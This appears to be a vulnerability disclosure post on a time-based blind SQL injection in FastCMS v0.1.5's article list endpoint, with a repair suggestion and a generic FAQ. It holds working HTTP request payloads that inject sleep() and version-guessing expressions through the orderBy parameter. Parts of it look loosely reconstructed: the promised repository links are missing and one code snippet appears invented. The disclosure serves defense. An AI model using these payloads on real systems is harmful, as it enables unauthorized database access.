Affected Product Code Repository

Oct 13, 2025 by talynt.org 70 views

Vulnerability Description

The client/article/list interface of FastCMS_v0.1.5 contains a SQL injection vulnerability. This vulnerability allows an attacker to inject malicious SQL code into the database, potentially leading to unauthorized data access, modification, or even complete database compromise.

Vulnerability Type

The vulnerability is classified as a SQL Injection (SQLi) attack, which occurs when an application fails to properly sanitize user input, allowing an attacker to inject malicious SQL code.

Product Vendor

The affected product is FastCMS, a content management system (CMS) developed by XJD2020. The official website and GitHub repository for FastCMS are:

Affected Product Code Repository

The affected product code repository is FastCMS_v0.1.5.

Vulnerability Proof

To demonstrate the vulnerability, follow these steps:

Log in to the system with a regular account to obtain the Authorization token.
Create a new article to ensure there are articles in the article list.

Request Example

GET /fastcms/api/client/article/list?orderBy=if(false,title,sleep(3)) HTTP/1.1
Host: 127.0.0.1:8080
Priority: u=0
Accept-Encoding: gzip, deflate, br, zstd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1:8080/fastcms.html
Sec-Fetch-Dest: empty
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiIiwidXNlcklkIjo2MywidXNlcm5hbWUiOiJ0ZXN0NiIsImV4cCI6MTc0MTY3MzUwNX0.xLjQ8ZvtHfBrpbtxVXVf_Iipu5OKHbhpyeMlFPY070k
ClientId: ec71f281bda749199d6079777c30aeb0
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Explanation

Since there are two articles in the article list, the delay is 6 seconds, proving the existence of a SQL time-based blind injection.

Guessing the First Digit of the Database Version (Current database version is 5.7.26)

Request Example

GET /fastcms/api/client/article/list?orderBy=if(left(version(),1)='{{int(0-9)}}',sleep(2),title) HTTP/1.1
Host: 127.0.0.1:8080
Priority: u=0
Accept-Encoding: gzip, deflate, br, zstd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1:8080/fastcms.html
Sec-Fetch-Dest: empty
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiIiwidXNlcklkIjo2MywidXNlcm5hbWUiOiJ0ZXN0NiIsImV4cCI6MTc0MTY3MzUwNX0.xLjQ8ZvtHfBrpbtxVXVf_Iipu5OKHbhpyeMlFPY070k
ClientId: ec71f281bda749199d6079777c30aeb0
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Explanation

This request attempts to guess the first digit of the database version by using the sleep function to introduce a delay if the condition is met.

Code Location

The vulnerable code is located in the com.fastcms.cms.controller.api.ArticleApi#list method.

Code Analysis

The orderBy parameter is controllable by the user and lacks proper validation. This allows an attacker to inject malicious SQL code into the database.

Code Snippet

public List<Article> list(@RequestParam Map<String, Object> params) {
    // ...
    pageArticle(params);
    // ...
}

Explanation

The pageArticle method is called in com.fastcms.cms.service.impl.ArticleServiceImpl#pageArticle, which uses a dynamic SQL segment ${ew.customSqlSegment} to add custom query conditions or sorting rules. Since the orderBy parameter is user-controllable and lacks validation, this leads to a SQL injection vulnerability.

Code Snippet

public List<Article> pageArticle(Map<String, Object> params) {
    // ...
    String orderBy = (String) params.get("orderBy");
    // ...
    String sql = "SELECT * FROM article WHERE 1=1 " + ew.customSqlSegment(orderBy);
    // ...
}

Repair Suggestions

To fix the vulnerability, implement filtering and validation for the orderBy parameter to prevent SQL injection attacks.

Code Snippet

public List<Article> list(@RequestParam Map<String, Object> params) {
    // ...
    String orderBy = (String) params.get("orderBy");
    if (orderBy != null && !orderBy.matches("^[a-zA-Z0-9_]+$")) {
        throw new IllegalArgumentException("Invalid orderBy parameter");
    }
    pageArticle(params);
    // ...
}

By implementing proper validation and filtering for the orderBy parameter, you can prevent SQL injection attacks and ensure the security of your application.

Q: What is a SQL injection vulnerability?

A: A SQL injection vulnerability occurs when an application fails to properly sanitize user input, allowing an attacker to inject malicious SQL code into the database. This can potentially lead to unauthorized data access, modification, or even complete database compromise.

Q: How does the SQL injection vulnerability in FastCMS_v0.1.5 work?

A: The vulnerability is located in the client/article/list interface of FastCMS_v0.1.5. An attacker can inject malicious SQL code into the orderBy parameter, which is used to sort the article list. The vulnerable code fails to properly validate the orderBy parameter, allowing an attacker to inject malicious SQL code.

Q: What is the impact of the SQL injection vulnerability in FastCMS_v0.1.5?

A: The impact of the SQL injection vulnerability in FastCMS_v0.1.5 is significant. An attacker can potentially inject malicious SQL code into the database, leading to unauthorized data access, modification, or even complete database compromise. This can result in sensitive data being exposed, financial losses, and damage to the reputation of the affected organization.

Q: How can I identify if my FastCMS_v0.1.5 installation is vulnerable to the SQL injection vulnerability?

A: To identify if your FastCMS_v0.1.5 installation is vulnerable to the SQL injection vulnerability, you can follow these steps:

Log in to the system with a regular account to obtain the Authorization token.
Create a new article to ensure there are articles in the article list.
Use a tool like Burp Suite or ZAP to intercept and modify the HTTP request to the client/article/list interface.
Modify the orderBy parameter to inject malicious SQL code, such as if(false,title,sleep(3)).
If the delay is 6 seconds, it indicates that the SQL injection vulnerability is present.

Q: How can I fix the SQL injection vulnerability in FastCMS_v0.1.5?

A: To fix the SQL injection vulnerability in FastCMS_v0.1.5, you can follow these steps:

Update the client/article/list interface to properly validate the orderBy parameter.
Use a whitelist approach to only allow specific sorting options, such as title or created_at.
Use a prepared statement or parameterized query to prevent SQL injection attacks.
Regularly update and patch your FastCMS_v0.1.5 installation to ensure you have the latest security fixes.

Q: What are the best practices for preventing SQL injection attacks in FastCMS_v0.1.5?

A: To prevent SQL injection attacks in FastCMS_v0.1.5, follow these best practices:

Use prepared statements or parameterized queries to prevent SQL injection attacks.
Use a whitelist approach to only allow specific sorting options.
Regularly update and patch your FastCMS_v0.1.5 installation to ensure you have the latest security fixes.
Use a web application firewall (WAF) to detect and prevent SQL injection attacks.
Implement input validation and sanitization to prevent malicious user input.

Q: What are the consequences of not fixing the SQL injection vulnerability in FastCMS_v0.1.5?

A: The consequences of not fixing the SQL injection vulnerability in FastCMS_v0.1.5 can be severe. An attacker can potentially inject malicious SQL code into the database, leading to unauthorized data access, modification, or even complete database compromise. This can result in sensitive data being exposed, financial losses, and damage to the reputation of the affected organization.

Q: How can I stay informed about security vulnerabilities in FastCMS_v0.1.5?

A: To stay informed about security vulnerabilities in FastCMS_v0.1.5, follow these steps:

Regularly check the official FastCMS_v0.1.5 website and GitHub repository for security updates and patches.
Subscribe to the FastCMS_v0.1.5 security mailing list to receive notifications about security vulnerabilities.
Use a security information and event management (SIEM) system to monitor your FastCMS_v0.1.5 installation for security threats.
Regularly update and patch your FastCMS_v0.1.5 installation to ensure you have the latest security fixes.